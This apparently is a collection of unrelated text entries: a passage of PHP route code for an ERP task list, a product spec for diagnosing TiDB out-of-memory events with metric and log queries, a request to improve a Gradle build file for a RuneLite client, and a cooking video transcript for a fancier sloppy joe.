\'title\' => t(\'All Tasks\'),\n \'tasks\' => $tasks,\n \'tasks\\_count\' => count($tasks),\n \'task\\_type\' => \'all-tasks\',\n \'filter\\_status\' => $filter\\_status\n ));\n});\n\nFlight::route(\'GET /erp/assigned-tasks(/@filter\\_status)\', function ($filter\\_status) {\n global $m, $rm, $db;\n $cookie = (array)Flight::jwt()::decode($\\_COOKIE[\'webapp\\_enc\'], Flight::get(\'key\'), array(\'HS256\'));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n if (!$user\\_id) {\n \n $admin\\_id = $db->get(\'mt\\_admin\\_user\', \'admin\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => $admin\\_id\n ));\n if(!$user\\_id) {\n \n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => getKmrsId()\n ));\n }\n }\n\n $where = array(\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n /\\*\'leads\\_id\' => $user\\_id,\n \'created\\_by\' => $user\\_id\\*/\n ]\n );\n $where\\_two = array();\n if(!empty($filter\\_status)) {\n $where[\'category\\_id\'] = $filter\\_status;\n $where\\_two[\'category\\_id\'] = $filter\\_status;\n }\n $tasks = $rm->select(\'tbl\\_task\', \'\\*\', $where);\n\n $completed\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "completed",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $in\\_progress\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "in\\_progress",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $deferred\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "deferred",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $not\\_started\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "not\\_started",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $waiting\\_for\\_someone\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "waiting\\_for\\_someone",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $tasks = array\\_map(function($elem) use ($db, $rm, $user\\_id) {\n $elem[\'category\\_name\'] = $rm->get(\'tbl\\_customer\\_group\', \'customer\\_group\', array(\n \'customer\\_group\\_id\' => $elem[\'category\\_id\']\n ));\n switch($elem[\'task\\_status\']) {\n case \'completed\':\n $elem[\'completed\'] = true;\n break;\n case \'not\\_started\':\n $elem[\'task\\_status\'] = t(\'Not Started\');\n break;\n case \'in\\_progress\':\n $elem[\'task\\_status\'] = t(\'In progress\');\n break;\n case \'waiting\\_for\\_someone\':\n $elem[\'task\\_status\'] = t(\'Waiting for Someone\');\n break;\n }\n if($elem[\'merchant\\_id\'] > 0) {\n $elem[\'store\'] = $db->get(\'mt\\_merchant\', \'\\*\', array(\n \'merchant\\_id\' => $elem[\'merchant\\_id\']\n ));\n $elem[\'store\'][\'published\'] = $elem[\'store\'][\'is\\_ready\'] == 2 ? true : false; \n }\n $elem[\'assigned\'] = array();\n $elem[\'assigned\\_to\\_me\'] = false;\n $assigneds = (array)json\\_decode($elem[\'permission\'], true);\n foreach($assigneds as $key=>$val) {\n if($key == $user\\_id) {\n $elem[\'assigned\\_to\\_me\'] = true;\n }\n $as\\_find = $rm->get(\'tbl\\_users\', \'username\', array(\n \'user\\_id\' => $key\n ));\n if($as\\_find) {\n $elem[\'assigned\'][] = $as\\_find;\n }\n }\n return $elem;\n }, $tasks);\n\n echo $m->render(\'erp/task/task\\_all\', array(\n \'completed\\_count\' => $completed\\_count,\n \'in\\_progress\\_count\' => $in\\_progress\\_count,\n \'deferred\\_count\' => $deferred\\_count,\n \'not\\_started\\_count\' => $not\\_started\\_count,\n \'waiting\\_for\\_someone\\_count\' => $waiting\\_for\\_someone\\_count,\n \'title\' => t(\'Asigned to Me\'),\n \'tasks\' => $tasks,\n \'tasks\\_count\' => count($tasks),\n \'task\\_type\' => \'assigned-tasks\',\n \'filter\\_status\' => $filter\\_status\n ));\n});\n\nFlight::route(\'GET /erp/report-tasks(/@filter\\_status)\', function ($filter\\_status) {\n global $m, $rm, $db;\n $cookie = (array)Flight::jwt()::decode($\\_COOKIE[\'webapp\\_enc\'], Flight::get(\'key\'), array(\'HS256\'));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n if (!$user\\_id) {\n \n $admin\\_id = $db->get(\'mt\\_admin\\_user\', \'admin\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => $admin\\_id\n ));\n if(!$user\\_id) {\n \n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => getKmrsId()\n ));\n }\n }\n $where = array(\n \'created\\_by\' => $user\\_id\n );\n $where\\_two = array();\n if(!empty($filter\\_status)) {\n $where[\'category\\_id\'] = $filter\\_status;\n $where\\_two[\'category\\_id\'] = $filter\\_status;\n }\n $tasks = $rm->select(\'tbl\\_task\', \'\\*\', $where);\n $completed\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "completed",\n \'created\\_by\' => $user\\_id\n ]));\n $in\\_progress\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "in\\_progress",\n \'created\\_by\' => $user\\_id\n ]));\n $deferred\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "deferred",\n \'created\\_by\' => $user\\_id\n ]));\n $not\\_started\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "not\\_started",\n \'created\\_by\' => $user\\_id\n ]));\n $waiting\\_for\\_someone\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "waiting\\_for\\_someone",\n \'created\\_by\' => $user\\_id\n ]));\n $tasks = array\\_map(function($elem) use ($db, $rm, $user\\_id) {\n $elem[\'category\\_name\'] = $rm->get(\'tbl\\_customer\\_group\', \'customer\\_group\', array(\n \'customer\\_group\\_id\' => $elem[\'category\\_id\']\n ));\n switch($elem[\'task\\_status\']) {\n case \'completed\':\n $elem[\'completed\'] = true;\n break;\n case \'not\\_started\':\n $elem[\'task\\_status\'] = t(\'Not Started\');\n break;\n case \'in\\_progress\':\n $elem[\'task\\_status\'] = t(\'In progress\');\n break;\n case \'waiting\\_for\\_someone\':\n $elem[\'task\\_status\'] = t(\'Waiting for Someone\');\n break;\n }\n if($elem[\'merchant\\_id\'] > 0) {\n $elem[\'store\'] = $db->get(\'mt\\_merchant\', \'\\*\', array(\n \'merchant\\_id\' => $elem[\'merchant\\_id\']\n ));\n }\n $elem[\'assigned\'] = array();\n $elem[\'assigned\\_to\\_me\'] = false;\n $assigneds = (array)json\\_decode($elem[\'permission\'], true);\n foreach($assigneds as $key=>$val) {\n if($key == $user\\_id) {\n $elem[\'assigned\\_to\\_me\'] = true;\n }\n $as\\_find = $rm->get(\'tbl\\_users\', \'username\', array(\n \'user\\_id\' => $key\n ));\n if($as\\_find) {\n $elem[\'assigned\'][] = $as\\_find;\n }\n }\n return $elem;\n }, $tasks);\n\n echo $m->render(\'erp/task/task\\_all\', array(\n \'completed\\_count\' => $completed\\_count,\n \'in\\_progress\\_count\' => $in\\_progress\\_count,\n \'deferred\\_count\' => $deferred\\_count,\n \'not\\_started\\_count\' => $not\\_started\\_count,\n \'waiting\\_for\\_someone\\_count\' => $waiting\\_for\\_someone\\_count,\n \'title\' => t(\'Reported by Me\'),\n \'tasks\' => $tasks,\n \'tasks\\_count\' => count($tasks),\n \'task\\_type\' => \'report-tasks\',\n \'filter\\_status\' => $filter\\_status\n ));\n});' -'Background\nWhat is the problem of solving pain points\nWhat products and services to deliver\nWhat are our strengths\nWhat are our core competencies\nSome Difficulties in Troubleshooting TiDB OOM on Cloud\nTiDB OOM problems often occur on Cloud, but it is difficult to locate the SQL that contributes to the OOM behavior.\n OOM on Cloud has several characteristics:\n1. After OOM, only Dev can receive an alarm (2022-11-29, due to some problems with alarm channel, Dev cannot receive this alarm), and Supports cannot receive and check this alarm. Moreover, for a cluster, it is difficult to quickly query the historical OOM situation.\n2. At the OOM moment, all SQLs contribute to memory exceeding the threshold. Therefore, it is necessary to find SQLs with a large main contribution and see if there is any opportunity to optimize it.\n3. TiDB will record the state file when the memory exceeds 80% (TiDB Memory Control). However, on Cloud, OOM will cause pod restart, this file will be lost and cannot be used as diagnostic material.\n4. At the OOM moment, SQLs are running and have not yet ended. Therefore, it is not possible to intuitively understand SQLs at the moment of OOM in slow query, statement and other post-observation methods.\nThe root solution of OOM\nThe OOM problem is a problem of resource management. Instances need to accurately monitor the resources they spend and manage them at the SQL level.\nIf the running queries exceed the preset resource limit, some queries need to be killed. The logic of killing also needs to be considered, whether it is the query that kills the largest resource, the longest executed query, or the shortest executed query. These may have different killing logic demands according to different businesses.\nHowever, this article mainly focuses on SQLs that are found to have a greater impact after OOM occurs. Therefore, more accurate resource management is not discussed here.\nRecent TiDB OOM Issues：\nAll history : NFTScan TiDB OOM Oncall Summary \n关于 TCOC-752 的分析 \nNFTScan 集群 OOM TCOC-752 跟进 \n1118 tidb oom \n1026 TiDB OOM \n1013 - 1014 TiDB OOM \nCC tidb-server OOM 问题 20221011 \n10.10 - TiDB Server OOM \n跨越速运 - SQL导致OOM \n10.15~10.17 - TiDB OOM \n2.26 CC 集群 OOM 分析 \n广发银行OOM问题场景 \nObjective\nFinal Goals\nList product goals including their timeframe, and success metric\nGoal：\n- For TiDB Cloud Cluster\n - Save OOM Files persistently.\n - Clinic can find OOM Event automatically, and provide this event as an alarm to those who subscribe, such as supports or EE.\n - Associate OOM Events with corresponding OOM Files, and support the download of OOM Files.\n - In OOM Insight Detail, present the information you need to know about OOM diagnostics.\n - Provide suggestions and give judgment logic.\nNon-Goal：\n- This document does not discuss the resource management of TiDB instances, and other work will cover this matter in the future.\nMilestone Goals\nM1\n- For TiDB Cloud Cluster\n - Save OOM Files persistently.\n - Clinic can find OOM Event automatically\n - Associate OOM Events with corresponding OOM Files, and support the download of OOM Files.\n - In OOM Insight Detail, present the information you need to know about OOM diagnostics.\nLimitation\n- In the scenarios, it is easier to find a small amount of SQL that takes up a large amount of memory, but it is hard to find a large amount of small Memory SQL.\nTarget user / role\nWho the product is for\nUsers\n- Dev: Responsible for the research of OOM, with the overall knowledge of TiDB OOM.\n- Support: Responsible for the support of customers whose clusters have OOM, and have relevant knowledge of the customer\'s business.\nDefinition\nOOM Files：Status file recorded by TiDB when its memory exceeds 80% (TiDB Memory Control).\nContent\n- Running SQL\n - Top 10 Memory\n - Top 10 Time (After v6.5)\n- Heap + Goroutine\nUser Scenarios / Story\nA detailed list of user scenarios\nSave the OOM Files\n- TiDB -> Persistence Storage on Cluster Level\n- Persistence Storage on Cluster Level --(by Agent)-> S3\n- S3 -> UI\nFind impactful SQLs after an OOM occurs\nMain Process:\n- OOM occurs.\n- Dev and Support receive this alarm.\n- Dev / Support check the Event List, and confirm that OOM occurred.\n- View the details of a specific OOM Event;\n - Confirm related indicators, logs, SQLs, Profilings, configuration/parameters.\n- Find the SQLs with the greatest impact and confirm the configuration/parameters that need to be modified;\n- Apply the suggestion.\nPost process:\n- The effect on memory is continuously monitored.\nFlow Chart\n[Image]\nFeature List\nOOM Event List\nBy Event List [spec] Clinic Event center 。\nOOM Insight Details\n- All Data Range:\n - Time Range: -15min ~ OOM Moment ~ +5min. According to different content needs, the time range will be adjusted.\n - Instance Range: The instance where OOM occurred.\n- Content\n - Insight Information\n - Metrics\n - Uptime Metrics\n - Memory Metrics\n - Query\n - Candidate problematic queries in OOM Files\n - Related expensive queries in Logs\n - Releated statements in TopSQL\n - Releated slow queries\n - Logs\n - KeyWord: k8s Evict information\n - KeyWord: memory usage exceeds alarm ratio\n - Keyword: Out Of Memory Quota\n - Keyword: memory exceeds quota\n - profiling\n - Heap and Goroutine in OOM Files\n - Before OOM occurs, the Heap of the corresponding instance in continuous profiling.\n - Config & variable\n - tidb\\_mem\\_quota\\_query\n - tidb\\_enable\\_rate\\_limit\\_action\n - tidb\\_analyze\\_version\n - tidb\\_mem\\_oom\\_action\n - Go GC 的配置\n - 如果 Go 1.1.9 还有一个 GOMEMLIMIT\n - Download\n - OOM Files and parse tool\nFunctional Specs\nAll the product interface and user-perceivable behavior changes need to be described in detail, including but not limited to:\n1. Any changes to GUI and command line, including command parameters and parameter definition changes;\n2. Any changes to the configuration items or system variables, including changes in value ranges and value semantics;\n3. Any changes to the storage directory and file format of the data;\n4. Any API and network protocol changes, including changes in the format of transmission content;\n5. Any user-visible output format or semantic changes, such as execution plan, diagnostic information, and error information, logs, alarms, etc. that affect user decision-making.\nOOM Event List\n[Image]\nEvent List\n- Show \n - Event Name: TiDB OOM \n - Occur Time\n - Summary: At 2022-11-10 20:40:20, cluster NFTScan-Cluster - instance db-tidb-0.db-tidb-peer.tidb1379661944629574082.svc:4000 has been restarted due to OOM. \nOOM Insight Details\n[Image]\nTop Bar:\n- Instance: display the instance where OOM occurred. (Format tidb-0 is better)\n- Download OOM Files: Click for the OOM files which were generated before the OOM moment.\nInsight Information:\n- A one-sentence description of this Insight.\n- Evidence that this insight occurred.\n - Such as, eviction manager: must evict pod(s) to reclaim memory\n- Related documentation for reading.\n - https://docs.pingcap.com/tidb/dev/configure-memory-usage\n - https://docs.pingcap.com/tidb/dev/troubleshoot-tidb-oom\nMetrics:\n- Time Range：The time range of metrics, -20 min ~ OOM Moment ~ +5 min\n- Instance Memory: https://clinic.pingcap.com/grafana/d/000000013tidbcloudv6\\_1\\_x/tidb-runtime-cluster-clinic?orgId=1&var-tidb\\_cluster=1379661944629574082&var-instance=All&var-store=All&from=1669555200000&to=1669557600000&var-tidb\\_version=v6.1.x&var-org=1372813089196917283&var-org\\_type=cloud&editPanel=4\n- Memory\nLegend\nPromeQL\nFilter\nprocess\nprocess\\_resident\\_memory\\_bytes{k8s\\_cluster="$k8s\\_cluster",cluster\\_id=~".\\*$tidb\\_cluster", instance=~"$instance"}\nAll metrics should be filtered by The OOM instance\ngc-threshold\ngo\\_memstats\\_next\\_gc\\_bytes{k8s\\_cluster="$k8s\\_cluster",cluster\\_id=~".\\*$tidb\\_cluster", instance=~"$instance"}\n\nheap-inuse\ngo\\_memstats\\_heap\\_inuse\\_bytes{k8s\\_cluster="$k8s\\_cluster", cluster\\_id=~".\\*$tidb\\_cluster", component="tidb", instance=~"$instance"}\n\n- Node mory: https://grafana.oauth.prod.aws.tidbcloud.com/d/fa49a4706d07a042595b664c87fb33easdfasdfa/nodes-info?var-cluster\\_id=1379661944629574082&var-cluster\\_name=NFTScan-Cluster&var-tenant\\_id=1372813089198981282&var-tenant\\_name=nftscan2022%27s%20Org&orgId=1&from=1669554000000&to=1669561199000&var-pod=db-tidb-0&var-instance=ip-10-250-72-200.ap-southeast-1.compute.internal&editPanel=6\n- Uptime: https://clinic.pingcap.com/grafana/d/000000011tidbcloudv6\\_1\\_x/tidb-cluster-clinic?orgId=1&var-tidb\\_cluster=1379661944629574082&var-instance=db-tidb-0&var-store=All&from=1669555200000&to=1669557600000&var-tidb\\_version=v6.1.x&var-org=1372813089196917283&refresh=5s&var-org\\_type=cloud&editPanel=184&var-k8s\\_cluster=\n- QPS: https://clinic.pingcap.com/grafana/d/eDbRZpnWatidbcloudv6\\_1\\_x/performance-overview-cluster-clinic?orgId=1&var-tidb\\_cluster=1379661944629574082&var-instance=All&var-store=All&from=1669555200000&to=1669557600000&var-tidb\\_version=v6.1.x&var-org=1372813089196917283&var-org\\_type=cloud&editPanel=179\n- Connection count\nLegend\nPromeQL\nFilter\n{{instance}}\ntidb\\_server\\_connections{k8s\\_cluster="$k8s\\_cluster", cluster\\_id=~".\\*$tidb\\_cluster", instance=~"$instance"}\nNo filter\n- cps by instance\nLegend\nPromeQL\nFilter\n{{instance}} {{type}} {{result}}\nrate(tidb\\_server\\_query\\_total{k8s\\_cluster="$k8s\\_cluster", cluster\\_id=~".\\*$tidb\\_cluster", instance=~"$instance"}[2m])\nNo filter\n\nRelated SQLs\n- Running SQLs from OOM Files: \n - Displays the creation time of the file.\n - Display the content of an OOM File which is nearest to OOM Moment\n - Tips: Only the data in one OOM file which is closest to OOM moment is displayed. If you need more, please download all the data.\n - Top 10 Mem: show all data. \n - If the data is less than 10 lines, the last line will prompt No More.\n - Top 10 Time: \n - There is no such content before 6.5. The UI needs to judge the version. If version < 6.5, UI prompt Only displayed after v6.5.\n - If the data is less than 10 lines, the last line will prompt No More.\n - Download OOM Files: Click for the OOM files which were generated before the OOM moment.\n- Expensive SQLs form Logs\n - The 10 Closest Expensive SQLs: \n - Tips: statements whose execution time exceeds tidb\\_expensive\\_query\\_time\\_threshold (60 seconds by default) or memory usage exceeds tidb\\_mem\\_quota\\_query (1 GB by default).\n - Show 10 Expensive SQL before OOM moment.\n - Record Time in reverse order.\n - More Details: click to enter Loki.\n - Loki needs to show the related instance, related time range (-15 min ~ OOM Moment), related key word (expensive\\_query) automatically.\n{namespace="tidb1379661944629574082", instance="db-tidb-0"} |= `expensive\\_query` |= `WARN`\n- From TopSQL\n - Link: click to enter TopSQL on O11Y.\n - TopSQL on O11Y needs to show the related instance, related time range (-15 min ~ OOM Moment ~ +5 min) automatically.\n - This means that TopSQL\'s URL needs to be able to log instances and time periods.\n- From Slow Query\n - Link: click to enter Slow Queries on O11Y.\n - Slow Queries on O11Y needs to show the related instance, related time range (-15 min ~ OOM Moment) automatically.\n - This means that Slow Queries\' URL needs to be able to log instances and time periods.\nLogs\n- KeyWords: “eviction manager: must evict pod(s) to reclaim memory”\n - Count: Displays the number of logs for a specific keyword for this time period.\n - Tips: Pod was evicted and restarted because of OOM.\n - More Details: click to enter Loki.\n - Loki needs to show the related instance, related time range (-15 min ~ OOM Moment), related key word (eviction manager: must evict pod(s) to reclaim memory) automatically.\n{cluster="shoot/aws/ap-southeast-1/shoot--prod--b537b676", syslog="kubelet"} |= `eviction manager: must evict pod(s) to reclaim memory`\n- KeyWords: “Out Of Memory Quota” \n - Count: Displays the number of logs for a specific keyword for this time period.\n - Tips: a single SQL statement exceeds tidb\\_mem\\_quota\\_query.\n - More Details: click to enter Loki.\n - Loki needs to show the related instance, related time range (-15 min ~ OOM Moment), related key word (Out Of Memory Quota) automatically.\nqw621\n- KeyWords: “memory exceeds quota”\n - Count: Displays the number of logs for a specific keyword for this time period.\n - Tips: flow control or disk spill behavior is triggered.\n - More Details: click to enter Loki.\n - Loki needs to show the related instance, related time range (-15 min ~ OOM Moment), related key word (memory exceeds quota) automatically.\n{namespace="tidb1379661944629574082", instance="db-tidb-0"} |= `memory exceeds quota`\n- KeyWords: “the risk of OOM”\n - Count: Displays the number of logs for a specific keyword for this time period.\n - Tips: memory usage exceeds alarm ratio\n - More Details: click to enter Loki.\n - Loki needs to show the related instance, related time range (-15 min ~ OOM Moment), related key word (the risk of OOM) automatically.\n{namespace="tidb1379661944629574082", instance="db-tidb-0"} |= `the risk of OOM`\nProfiling:\n- From OOM Files\n - Download OOM Files: Click for the OOM files which were generated before the OOM moment.\n- Continuous Profiling\n - Link: click to enter Continuous Profiling on TiDB Dashboard.\n - Continuous Profiling needs to show the related time range (-2h ~ OOM Moment) automatically.\n - This means that Continuous Profiling\'s URL needs to be able to log time periods.\nConfigurations & Variables:\n- Configurations & Variables\n - Link: click to enter configurations on TiDB Dashboard.' -'can you improve this build.gradle.kts\n\ngroup = "com.client"\n\nversion = "1.0"\n\nbuildscript {\n\n repositories {\n\n mavenCentral()\n\n gradlePluginPortal()\n\n }\n\n dependencies { \n\n classpath("com.github.johnrengelman:shadow:7.0.0")\n\n }\n\n}\n\nrepositories {\n\n mavenCentral()\n\n maven("https://repo.runelite.net")\n\n}\n\nplugins {\n\n kotlin("jvm") version "1.3.72"\n\n kotlin("plugin.lombok") version "1.5.21"\n\n application\n\n id("com.github.johnrengelman.shadow") version "7.0.0"\n\n}\n\n\n\ndependencies {\n\n annotationProcessor(group = "org.projectlombok", name = "lombok", version = "1.18.20")\n\n annotationProcessor(group = "org.pf4j", name = "pf4j", version = "3.6.0")\n\n compileOnly(group = "javax.annotation", name = "javax.annotation-api", version = "1.3.2")\n\n compileOnly(group = "org.projectlombok", name = "lombok", version = "1.18.20")\n\n compileOnly(group = "net.runelite", name = "orange-extensions", version = "1.0")\n\n implementation(group = "ch.qos.logback", name = "logback-classic", version = "1.2.9")\n\n implementation(group = "com.google.code.gson", name = "gson", version = "2.8.5")\n\n implementation(group = "com.google.guava", name = "guava", version = "30.1.1-jre") {\n\n exclude(group = "com.google.code.findbugs", module = "jsr305")\n\n exclude(group = "com.google.errorprone", module = "error\\_prone\\_annotations")\n\n exclude(group = "com.google.j2objc", module = "j2objc-annotations")\n\n exclude(group = "org.codehaus.mojo", module = "animal-sniffer-annotations")\n\n }\n\n implementation(group = "com.google.inject", name = "guice", version = "5.0.1")\n\n implementation(group = "com.jakewharton.rxrelay3", name = "rxrelay", version = "3.0.1")\n\n implementation(group = "com.squareup.okhttp3", name = "okhttp", version = "4.9.1")\n\n implementation(group = "io.reactivex.rxjava3", name = "rxjava", version = "3.1.2")\n\n implementation(group = "org.jgroups", name = "jgroups", version = "5.2.2.Final")\n\n implementation(group = "net.java.dev.jna", name = "jna", version = "5.9.0")\n\n implementation(group = "net.java.dev.jna", name = "jna-platform", version = "5.9.0")\n\n implementation(group = "net.runelite", name = "discord", version = "1.4")\n\n implementation(group = "net.runelite.pushingpixels", name = "substance", version = "8.0.02")\n\n implementation(group = "net.sf.jopt-simple", name = "jopt-simple", version = "5.0.4")\n\n implementation(group = "org.madlonkay", name = "desktopsupport", version = "0.6.0")\n\n implementation(group = "org.apache.commons", name = "commons-text", version = "1.9")\n\n implementation(group = "org.apache.commons", name = "commons-csv", version = "1.9.0")\n\n implementation(group = "commons-io", name = "commons-io", version = "2.8.0")\n\n implementation(group = "org.jetbrains", name = "annotations", version = "22.0.0")\n\n implementation(group = "com.github.zafarkhaja", name = "java-semver", version = "0.9.0")\n\n implementation(group = "org.slf4j", name = "slf4j-api", version = "1.7.32")\n\n implementation(group = "org.pf4j", name = "pf4j", version = "3.6.0") {\n\n exclude(group = "org.slf4j")\n\n }\n\n implementation(group = "net.runelite.jogl", name = "jogl-rl", version = "2.4.0-rc-20220318")\n\n implementation(group = "net.runelite.jogl", name = "jogl-gldesktop-dbg", version = "2.4.0-rc-20220318")\n\n implementation(group = "net.runelite.jocl", name = "jocl", version = "1.0")\n\n runtimeOnly(group = "net.runelite.pushingpixels", name = "trident", version = "1.5.00")\n\n testAnnotationProcessor(group = "org.projectlombok", name = "lombok", version = "1.18.20")\n\n testCompileOnly(group = "org.projectlombok", name = "lombok", version = "1.18.20")\n\n testImplementation(group = "com.google.inject.extensions", name = "guice-grapher", version = "4.1.0")\n\n testImplementation(group = "com.google.inject.extensions", name = "guice-testlib", version = "4.1.0")\n\n testImplementation(group = "org.hamcrest", name = "hamcrest-library", version = "1.3")\n\n testImplementation(group = "junit", name = "junit", version = "4.13.1")\n\n testImplementation(group = "org.mockito", name = "mockito-core", version = "3.1.0")\n\n testImplementation(group = "org.mockito", name = "mockito-inline", version = "3.1.0")\n\n testImplementation(group = "com.squareup.okhttp3", name = "mockwebserver", version = "4.9.1")\n\n testImplementation(group = "org.slf4j", name = "slf4j-api", version = "1.7.32")\n\n implementation("io.sentry:sentry-logback:6.0.0")\n\n implementation(platform("org.lwjgl:lwjgl-bom:3.3.1"))\n\n implementation("org.lwjgl:lwjgl")\n\n implementation("org.lwjgl:lwjgl-opengl")\n\n implementation("net.runelite:rlawt:1.3")\n\n listOf("linux", "macos", "macos-arm64", "windows-x86", "windows").forEach {\n\n runtimeOnly("org.lwjgl:lwjgl::natives-$it")\n\n runtimeOnly("org.lwjgl:lwjgl-opengl::natives-$it")\n\n }\n\n // https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-core\n\n implementation("com.fasterxml.jackson.core:jackson-core:2.13.3")\n\n // https://mvnrepository.com/artifact/com.dorkbox/Notify-Dorkbox-Util\n\n implementation("com.dorkbox:Notify:3.7")\n\n // https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind\n\n implementation("com.fasterxml.jackson.core:jackson-databind:2.13.3")\n\n // https://mvnrepository.com/artifact/org.reflections/reflections\n\n implementation("org.reflections:reflections:0.10.2")\n\n // https://mvnrepository.com/artifact/com.fasterxml.jackson.dataformat/jackson-dataformat-yaml\n\n implementation("com.fasterxml.jackson.dataformat:jackson-dataformat-yaml:2.13.3")\n\n// https://mvnrepository.com/artifact/me.tongfei/progressbar\n\n implementation("me.tongfei:progressbar:0.9.3")\n\n}\n\ntasks {\n\n jar {\n\n destinationDirectory.set(file("$buildDir/libs"))\n\n duplicatesStrategy = DuplicatesStrategy.INCLUDE\n\n archiveBaseName.set("${project.name}-Client")\n\n // Output to build/libs/shadow.jar\n\n shadowJar {\n\n archiveBaseName.set("shadow")\n\n archiveClassifier.set("")\n\n archiveVersion.set("")\n\n }\n\n }\n\n}\n\napplication {\n\n mainClass.set("net.runelite.client.RuneLite")\n\n}\n\nshadowJar {\n\n mergeServiceFiles()\n\n manifest {\n\n attributes(\n\n "Main-Class": "net.runelite.client.RuneLite"\n\n )\n\n }\n\n}' -"what's up today I'm going to show you how to make a more delicious more in balance and slightly fancier version of a sloppy joe think of it as a sloppy joe with its shirt tucked in or a sloppy Joseph let's call it that to get started I need to experience the standard issue cafeteria sloppy joe to see if it's as bad as I remember for that I've got a good old-fashioned can of Manwich here by the way Manwich is a sick name for a product but looking at this ingredient label I'm not super excited to try it two out of the first four ingredients are high fructose corn syrup and plain corn syrup straight out of the can though it actually doesn't taste that bad it's kind of like if you added ketchup to Taco Bell mild sauce now to make it sloppy I'll follow the four step instructions on the can step one is cook beef thoroughly for that I'll just Brown off a pound of ground beef in a non-stick pan then step two add Manwich sauce now the can doesn't say to do this but I cooked this sauce down a little bit so that it wasn't so soupy and then step three is to ask to be called Chef by everyone who addresses you that's awesome I assume it's because your sloppy joes are just going to be so freaking sick that they have no choice and then step four is to serve dig in and leave hunger behind oh I got it this tastes like an overly ketchup hamburger from McDonald's just kind of uh Bland ground beef with tons of corn syrup and tomato product yum honestly it's a pretty low bar so of course we can do better to get started I'll need one pound of ground beef I prefer to use 80 20 here because leaner meat would not be unctuous enough next I'll drop my meat into a bowl and then add one gram or a quarter teaspoon of baking soda this soda is going to help inhibit the beef proteins from bonding together while they cook making the beef nice and tender one of my main gripes with sloppy joes is that the meat tends to be tough and gristly and it gets stuck in your teeth also if you're wondering if more soda here would make the beef more tender I tried that and made this recipe with 4 grams instead of one and Not only was this version borderline mushy the extra soda raised the pH in the sauce so much that it caramelized a lot more than it should have and it had a really weird unwelcome dark flavor to it moral the story is some soda good a lot of soda bad and very weird now I'm gonna let this beef sit for a second while I bust out some quick knife work for that I've got one onion and one poblano pepper for the onion I'm gonna go with a small ish dice here too big and the onions won't melt into the sauce and they'll Stand Out texture really in a way that I don't like in total I'll need 150 grams of onion for the papano I'll also go with a pretty small dice here and I'm using it over a more traditional green bell pepper because it brings some mellow heat and has a lot more green chili flavor I'll need 100 grams of poblano once I've got my veggies diced I'll grab a large non-stick pan and drop it on the stove over medium-high heat and once that's hot I'll add in a good long squeezer of olive oil and then in goes my onions my poblanos and then a strong pinch of salt from there I'll jump in and Fry these two together to soften them up a little bit and to get some color going around the edges that'll take about three to four minutes with pretty frequent stirring and once the aromatics are softened up and starting to take on some color I'll add in my soded beef from there I'll jump back in with my ground meat musher to spread it out and break it down by the way this musher is one of only two or three single purpose tools that I keep in my tool drawer in my opinion it doesn't much much better job at crumbling meat down than a spatula or a potato masher and it's very worth the five dollars it cost now I'll continue to smush this meat for two to three minutes or however long it takes to break it down into very small particles smaller ground beef particles not only have more surface area to catch that flavorful sloppy joe sauce but they're also better to eat and after about four minutes this meat is starting to take on some nice Browning it's cooked through and most importantly we've got it crumbled down into an edible size so next comes some seasoning in goes five grams of salt 5 grams of onion powder 5 grams of garlic powder 2 grams of black pepper 5 grams of paprika and then a strong pinch of chili flakes next I'll give that a toss to combine and then fry the spices with the meat and veggies to open up their flavors that'll take about 30 seconds or so and once I'm there I'll add in 10 grams of all-purpose flour and then stir that in this flour is going to help thicken the sauce a little bit and also help emulsify the beef fat later on so our Josephs won't be overly greasy and once the flour is stirred in enough to hydrate it and the raw flavor has been cooked off I'll add in my wet ingredients that's going to be 50 grams of tomato paste 50 grams of ketchup 15 grams of yellow mustard 15 grams of brown sugar 50 grams of worch or as I like to call it were chest ER sure Worcestershire call it whatever you want but in my opinion sloppy Josephs are just as much about worch as they are about the ketchup so I use a lot next I'll add in 20 grams of red wine vinegar and then this won't be surprising I'm gonna add in a little bit of better than bouillon beef paste about 10 grams lastly I'll add in 350 grams of any kind of store-bought stock and then I'll jump in and stir to get everything combined and once we're looking Saucy I'll bring this sauce up 